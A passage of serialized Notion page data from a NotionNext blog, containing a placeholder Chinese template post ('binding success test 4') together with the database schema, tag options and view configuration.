2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"93032c73-435f-4a73-8087-b71ecff3a86b":{"value":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","version":7,"type":"page","content":["493c55bd-4441-4c1b-9ed3-3727291c7165","caf1ea9d-0926-41f4-8e85-090005e6e233","49531064-73d7-4a2a-806a-aa52e6c02baf","36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","96ece850-8ea7-4392-aa14-5652d12c0e85","4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","0824d5ea-eb31-48ac-9395-01a217b32b7d","c12fce83-2492-406d-ae08-a07b3da800c0","033e1eff-5111-4814-a316-b18a825cd37f","9da00a5e-0324-42dd-951e-4a7f0357a394","1da35185-65c3-4334-9a03-4627538afd8a","4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","5bee4538-9df1-457d-9698-67f05ee5fb11"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"812fb188-40d0-4243-870f-852c143e0cf3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630799318,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"812fb188-40d0-4243-870f-852c143e0cf3","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"493c55bd-4441-4c1b-9ed3-3727291c7165":{"value":{"id":"493c55bd-4441-4c1b-9ed3-3727291c7165","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["231b50b7-60fb-44fb-8978-2b12221a700a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"fbc30a91-d324-4d91-b94b-2e2f627e7191","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fbc30a91-d324-4d91-b94b-2e2f627e7191"}},"231b50b7-60fb-44fb-8978-2b12221a700a":{"value":{"id":"231b50b7-60fb-44fb-8978-2b12221a700a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"97bc954b-3123-4311-916d-1dc564f3e629","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"493c55bd-4441-4c1b-9ed3-3727291c7165","parent_table":"block","alive":true,"copied_from":"97bc954b-3123-4311-916d-1dc564f3e629"}},"caf1ea9d-0926-41f4-8e85-090005e6e233":{"value":{"id":"caf1ea9d-0926-41f4-8e85-090005e6e233","type":"text","format":{"copied_from_pointer":{"id":"106a5d1b-ad19-4008-9a68-6d29788ad7ab","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"106a5d1b-ad19-4008-9a68-6d29788ad7ab"}},"49531064-73d7-4a2a-806a-aa52e6c02baf":{"value":{"id":"49531064-73d7-4a2a-806a-aa52e6c02baf","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0"}},"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1":{"value":{"id":"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"9fb47e91-4cd8-4773-b883-7d51ef688cad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9fb47e91-4cd8-4773-b883-7d51ef688cad"}},"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf":{"value":{"id":"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"fa7c273f-dd86-48c3-a29a-1312f486273f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fa7c273f-dd86-48c3-a29a-1312f486273f"}},"96ece850-8ea7-4392-aa14-5652d12c0e85":{"value":{"id":"96ece850-8ea7-4392-aa14-5652d12c0e85","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"1358a33c-a6af-472b-b8ce-4ef9ae234be5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"1358a33c-a6af-472b-b8ce-4ef9ae234be5"}},"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad":{"value":{"id":"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"877fb635-975e-4861-ab6c-312fa64f506c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"877fb635-975e-4861-ab6c-312fa64f506c"}},"0824d5ea-eb31-48ac-9395-01a217b32b7d":{"value":{"id":"0824d5ea-eb31-48ac-9395-01a217b32b7d","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"193aeb1c-70d0-4348-9f42-039692abd89e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"193aeb1c-70d0-4348-9f42-039692abd89e"}},"c12fce83-2492-406d-ae08-a07b3da800c0":{"value":{"id":"c12fce83-2492-406d-ae08-a07b3da800c0","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"0feea3ad-52ca-4874-a9d7-349109f3ae25","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"0feea3ad-52ca-4874-a9d7-349109f3ae25"}},"033e1eff-5111-4814-a316-b18a825cd37f":{"value":{"id":"033e1eff-5111-4814-a316-b18a825cd37f","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c"}},"9da00a5e-0324-42dd-951e-4a7f0357a394":{"value":{"id":"9da00a5e-0324-42dd-951e-4a7f0357a394","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"9d718003-3670-4898-bc5f-347e7a352572","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9d718003-3670-4898-bc5f-347e7a352572"}},"1da35185-65c3-4334-9a03-4627538afd8a":{"value":{"id":"1da35185-65c3-4334-9a03-4627538afd8a","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"7279b3b5-6745-4b08-93a6-3523963d454d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7279b3b5-6745-4b08-93a6-3523963d454d"}},"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a":{"value":{"id":"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","type":"text","format":{"copied_from_pointer":{"id":"20ffef44-56b9-4484-bef1-552ac2029985","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"20ffef44-56b9-4484-bef1-552ac2029985"}},"5bee4538-9df1-457d-9698-67f05ee5fb11":{"value":{"id":"5bee4538-9df1-457d-9698-67f05ee5fb11","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"fb47af46-83db-4e8d-aca9-f2fae4100812","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fb47af46-83db-4e8d-aca9-f2fae4100812"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-ff